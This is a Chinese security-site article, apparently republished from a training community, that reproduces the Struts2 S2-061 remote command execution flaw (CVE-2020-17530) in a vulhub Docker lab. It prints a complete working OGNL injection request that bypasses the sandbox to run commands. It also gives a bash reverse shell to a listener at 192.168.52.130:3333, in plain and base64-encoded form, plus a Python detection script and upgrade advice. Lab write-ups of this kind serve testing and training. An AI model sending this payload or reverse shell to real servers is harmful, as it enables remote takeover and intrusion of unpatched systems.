freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现
2023-05-08 17:01:24
所属地 山东省

前言

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大,S2-061是对S2-059漏洞修复后的绕过。

影响版本:

Apache Struts 2.0.0 - 2.5.25

环境搭建

这里使用vulhub漏洞环境搭建

使用git克隆到本地

git clone https://github.com/vulhub/vulhub.git

image-20221210152107512

进入对应环境

cd vulhub/struts2/s2-061

image-20221210152142885

启动docker漏洞环境

sudo docker-compose up -d

image-20221210152205091

访问对应地址,出现如下页面,环境搭建成功

image-20221210153856655

复现过程

实现判断下是否存在漏洞,使用?id=%25{7*7}查看返回id的值是7*7还是49,如果是47那么就说明进行了二次表达式解析,存在改漏洞

image-20221210160031545

这里id为49说明存在该漏洞。抓包修改为以下,这里的#arglist.add("xx")函数这里包含的值是你要执行的命令

POST /.action HTTP/1.1
Host: 192.168.52.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0i3sptalo62q6kw46qu49oxwn1.node0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 833

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"


%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ls")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

image-20221210161714309

已经可以执行我们的命令了,接下来反弹shell

在vps上监听3333端口:nc -lvnp 3333

编写反弹shell代码

bash -i >& /dev/tcp/192.168.52.130/3333 0>&1

反弹shell涉及到管道符问题要将命令进行base64编码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjEzMC8zMzMzIDA+JjE=}|{base64,-d}|{bash,-i}

image-20221210163917170

image-20221210164523698

成功反弹出shell

检查POC

import requests
import argparse
import os
def url():
		parser = argparse.ArgumentParser(description='S2-061  CVE-2020-17530')
		parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.52.128:8080')
		args = parser.parse_args()
		global url
		url = args.target_url
		if url.startswith('http://') or url.startswith('https://'):
			pass
		else:
			print('请使用http://或者https://')
			os._exit(0)
		if url.endswith('/'):
			url = url[:-1]
		print("开始测试")
		return url
def poc():
	headers={
		'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100102 Firefox/107.0'
	
}
	vul_url = url + '/?id=%25{7*7}'
	try:
		text = requests.get(vul_url,headers=headers,timeout=10).text
		if '49' in text:
			print('[漏洞存在]')
		else:
			print('[漏洞不存在]')
	except:
		print('[发生错误]')
if __name__ == '__main__':
	url()
	poc()

image-20221210170934924

修复建议

升级到 Struts 2.5.26 版本或更高版本
本文转载自助安社区(https://secself.com/)
关注公众号【助安社区】渗透零基础到入门都在这,社区内部红队沙龙、资源共享和大厂工作经验。真正热爱安全和喜欢技术交流的小伙伴欢迎加入我们。

# 漏洞 # web安全 # 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录